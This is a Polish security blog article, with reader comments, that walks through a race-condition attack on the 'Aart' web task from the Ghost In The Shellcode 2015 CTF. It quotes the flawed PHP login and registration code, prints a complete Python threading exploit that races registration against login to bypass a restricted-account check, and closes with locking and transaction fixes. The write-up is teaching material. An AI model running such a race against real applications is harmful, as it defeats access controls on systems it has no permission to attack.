Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Race Conditions w atakach na aplikacje webowe na przykładzie zadania 'Aart’ (Ghost In The Shellcode 2015 CTF)
Wstęp
Race condition to termin, który oznacza dość specyficzną sytuację w programie komputerowym. W przypadku, gdy system dopuszcza wykonywanie wielu operacji równocześnie, ale powodzenie konkretnej operacji zależy od właściwej kolejności wykonania, może dojść do sytuacji, w której zakładana kolejność nie zostanie zachowana i spowoduje błąd lub nieprzewidziane rezultaty.
Klasycznym przykładem w aplikacjach webowych będzie sekwencja zapytań do bazy danych, w której wykonywane w określonym porządku zapytania korzystają z wyników zwracanych prze zapytania je poprzedzające. Może to być np. pobranie dowolnej wartości nowo utworzonego rekordu po operacji INSERT i użycie go jako warunek w zapytaniu UPDATE:
INSERT INTO users SET (name, email) VALUES ("user", "user@user.com")
UPDATE users_privs SET admin=1 WHERE userid = (SELECT id FROM users WHERE name="user")
Jeśli pierwsze z zapytań nie wykona się prawidłowo, bądź „spóźni” z wykonaniem przed drugim – kwerenda w warunku zapytania UPDATE nie zwróci prawidłowego 'userid’ (bo go tam po prostu nie znajdzie) i nie wykona się.
Ataki wykorzystujące „race condition” to zdecydowanie rzadziej występujący typ ataku na aplikacje webowe w porównaniu z klasycznymi atakami SQL Injection. W zakończonym niedawno turnieju CTF Ghost In The Shellcode 2015 pojawiło się zadanie z kategorii Web, które można było rozwiązać między innymi przy użyciu race condition (w sumie 'Aart’ rozwiązało poprawnie 60 zespołów na 323 biorące udział, więc jak na zadanie z kategorii Web nie było ono najprostsze. Wykorzystanie „race condition” było jednym z możliwych rozwiązań, z pozostaymi można zapoznać się pod jednym z podanych na końcu źródeł).
Podatny kod w aplikacji 'Aart’
Zadanie polegało na zdobyciu flagi ukrytej gdzieś w aplikacji. Autorzy dołączyli kod źródłowy, co umożliwiało analizę całej aplikacji w zasadzie linijka po linijce.
1. Strona główna aplikacji Aart
Analiza ujawniła fragment kodu w pliku login.php, który „ukrywał” flagę:
if(isset($_POST['username'])){ $username = mysqli_real_escape_string($conn, $_POST['username']); $sql = "SELECT * from users where username='$username';"; $result = mysqli_query($conn, $sql); $row = $result->fetch_assoc(); var_dump($_POST); var_dump($row); if($_POST['username'] === $row['username'] and $_POST['password'] === $row['password']){ ?> <h1>Logged in as <?php echo($username);?></h1> <?php $uid = $row['id']; $sql = "SELECT isRestricted from privs where userid='$uid' and isRestricted=TRUE;"; $result = mysqli_query($conn, $sql); $row = $result->fetch_assoc(); if($row['isRestricted']){ ?> <h2>This is a restricted account</h2><?php }else{ ?> <h2><?php include('../key');?></h2>
Listing 1. Fragment pliku login.php aplikacji Aart
W momencie logowania aplikacja weryfikowała, czy istnieje użytkownik o podanej nazwie, jeśli tak – pobierane były z bazy jego dane. Następnie dokonywane było porównanie przesłanego z formularza hasła z tym, które zostało zapisane w bazie w rekordzie odpowiadającym danemu użytkownikowi. Wszystkie dane pobierane z formularza były odpowiednio filtrowane, co z góry skazywało na niepowodzenie wszelkie klasyczne próby ataków SQL Injection.
Plik z flagą był dołączany jedynie w przypadku, kiedy kolumna 'isRegistered’ miała wartość inną od TRUE.
Za ustawianie wartości 'isRegistered’ odpowiadały inne zapytania, wykonywane w momencie rejestracji w aplikacji Aart:
if(isset($_POST['username'])){ $username = mysqli_real_escape_string($conn, $_POST['username']); $password = mysqli_real_escape_string($conn, $_POST['password']); $sql = "INSERT into users (username, password) values ('$username', '$password');"; mysqli_query($conn, $sql); $sql = "INSERT into privs (userid, isRestricted) values ((select users.id from users where username='$username'), TRUE);"; mysqli_query($conn, $sql);
Listing 2. Fragment pliku register.php odpowiedzialny za rejestrację użytkownika
Także i w tym miejscu wszystkie dane z formularza były odpowiednio filtrowane. Zauważmy jednak, że drugie z zapytań, ustawiające wartość w kolumnie 'isRegistered’, bazowało na wartości kolumny 'id’ z tabeli 'users’ odpowiadającej rekordowi znalezionemu na podstawie kolumny 'username’.
Przeanalizujmy prawidłowy przebieg procesu rejestracji:
– użytkownik wypełnia formularz na stronie i wysyła go do serwera
– serwer na podstawie przesłanych danych (nazwa użytkownika i hasło), wykonuje zapytanie INSERT do tabeli 'users’
– drugie zapytanie dokonuje wstawienia do tabeli 'privs’ rekordu, w którym 'isRegistered’ ustawiane jest na TRUE, a 'userid’ na wartość 'id’ z tabeli 'users’ dla podanej w formularzu nazwy użytkownika (zmienna $username). Założenie jest takie, że pojawi się tutaj 'id’ z wiersza dodanego wcześniej.
Pytanie brzmi: jaki będzie rezultat, gdy zapytania te wykonają się nie zachowując prawidłowej kolejności?
Oczywiście w tabeli 'privs’ pojawi się rekord, gdzie 'userid’ będzie pusty. W momencie logowania zapytanie:
$sql = "SELECT isRestricted from privs where userid='$uid' and isRestricted=TRUE;";
zwróci pusty wiersz, co spowoduje, że następujący potem warunek nie zostanie spełniony i w rezultacie do wynikowego kodu dołączona zostanie treść pliku 'key’ (listing 1.)
Atak „Race condition”
Dokumentacja MySQL na temat szybkości wykonywania zapytań INSERT (http://dev.mysql.com/doc/refman/5.0/en/insert-speed.html) zawiera następującą informację:
’For a MyISAM table, you can use concurrent inserts to add rows at the same time that SELECT statements are running, if there are no deleted rows in middle of the data file.’
Oznacza to, że możemy dokonywać równoczesnych operacji SELECT oraz INSERT w tym samym czasie (jeśli baza korzysta z MyISAM). Operacja zapisu do tabeli 'privs’ wykonywana w skrypcie register.php może być zatem wykonywana równocześnie z operacją SELECT w skrypcie login.php.
Aby zatem opisywane wcześniej zapytanie o wartość 'isRegistered’ zwróciło nam wartość różną od TRUE, musimy doprowadzić do sytuacji, w której:
– jako pierwsze wykona się zapytanie INSERT do tabeli 'users’ w register.php
– jako drugie oraz trzecie (!!! – tu następuje sytuacja wyścigu, czyli nasz „race condition”) wykonają się oba zapytania SELECT z tabeli 'users’ oraz 'privs’ w skrypcie login.php, zanim…
– …wykona się czwarte zapytanie, czyli INSERT do tabeli 'privs’ w skrypcie register.php, ustawiające 'isRegistered’ na TRUE
Atak musi zatem równocześnie wykonywać operacje rejestracji oraz logowanie się z taką samą nazwą użytkownika do momentu, gdy któreś z logowań „wyprzedzi” zapisanie 'isRegistered’. Jako przykładowe rozwiązanie poniżej znajduje się prosty exploit stworzony w Pythonie (który przy okazji jest przykładową ilustracją wykorzystania modułu threading – jak wspomniałem niedawno w artykule o CTF, jest to klasyczny przykład edukacyjnej wartości turniejów Capture The Flag ;-) )
#!/usr/bin/env python import requests import string import re import random import threading url_register = "http://aart.2015.ghostintheshellcode.com/register.php" url_login = "http://aart.2015.ghostintheshellcode.com/login.php" def register(data): requests.post(url_register, data=data) def login(data): c = requests.post(url_login, data=data).content flag = re.findall(r"<h2>(.*)</h2>\s+<h2>", c, re.DOTALL) if len(flag) > 0 and not "restricted" in flag[0]: print "[*] flag: '" + flag[0] + "'" else: print "[x] fail" while True: # Generate random username username = ''.join(random.choice(string.ascii_letters) for _ in range(100)) password = '123' # register and login data = { 'username' : username, 'password' : password } t1 = threading.Thread(target=register, args=(data,)) t2 = threading.Thread(target=login, args=(data,)) t1.start() t2.start() t1.join() t2.join()
źródło: https://github.com/kitctf/writeups/blob/master/gits2015/aart/aart_exploit3.py
Po uruchomieniu skryptu następuje proces opisany w punktach na początku tego podrozdziału, za każdym razem z wygenerowaną losowo nazwą użytkownika (z wykorzystaniem dwóch wątków równocześnie, po jednym dla operacji rejestracji i logowania).
Po każdym żądaniu wykonanym na adres login.php skrypt sprawdza, czy w wynikowym HTML zwróconym przez serwer znajduje się ciąg 'flag’. Pojawienie się flagi oznacza, że udało się spełnić założenia ataku i zakońćzył się on powodzeniem.
Przykładowy rezultat wykonania mógłby zatem wyglądać, jak poniżej:
[x] fail [x] fail [x] fail [x] fail [*] flag: 'this is a key'
Podsumowanie
By nie dopuścić do podobnych ataków, w prawdziwej aplikacji korzystającej z bazy danych MySQL, można skorzystać z mechanizmu blokowania tabel na czas wykonywania operacji (http://dev.mysql.com/doc/refman/5.0/en/lock-tables.html) czy użycia mechanizmu InnoDB i transakcji (http://dev.mysql.com/doc/refman/5.0/en/ansi-diff-transactions.html) – jeśli kogoś zainteresuje to zagadnienie od strony programistycznej polecam przejrzenie kilku wątków w serwisie stackoverflow.com poświęconym temu zagadnieniu np. http://stackoverflow.com/questions/264807/mysql-insert-race-condition
Z innymi rozwiązaniami zadania Aart (w tym z będącym inspiracją do napisania tego artykułu :) ) można zapoznać się na stronach
http://kitctf.de/writeups/gits2015/aart/ oraz
http://0x1337seichi.wordpress.com/2015/01/18/ghost-in-the-shellcode-2015-web-200-aart-writeup/
Źródła:
http://dev.mysql.com/doc/refman/5.0/en/myisam-storage-engine.html
http://dev.mysql.com/doc/refman/5.0/en/insert-speed.html
–bl4de
Już nieco starym, ale ciekawym przykładem może być: https://www.owasp.org/index.php/File_Access_Race_Condition:_TOCTOU
Jakby ktoś chciał przećwiczyć to może np. tutaj: https://exploit-exercises.com/nebula/level10/
Fajny artykuł, race conditions często są traktowane po macoszemu.
Jeśli ktoś ma ochotę pobawić się z race conditions i różnego rodzaju błędami związanymi z bitami suid, uprawnieniami użytkowników itp. polecam pobrać maszynę wirtualną Nebula: https://exploit-exercises.com/nebula/
To isRegistered czy isRestricted?
Oczywiście 'isRestricted’, przepraszam za pomyłkę i dzięki za zwrócenie uwagi :)
Swego czasu race condition był na wechall, jedno z zadań rozwiązałem wykorzystując race condition właśnie (nie taki był zamysł autora). Jakie było moje zdziwienie, gdy zobaczyłem, że punkty za zadanie zostały dodane dwa razy :)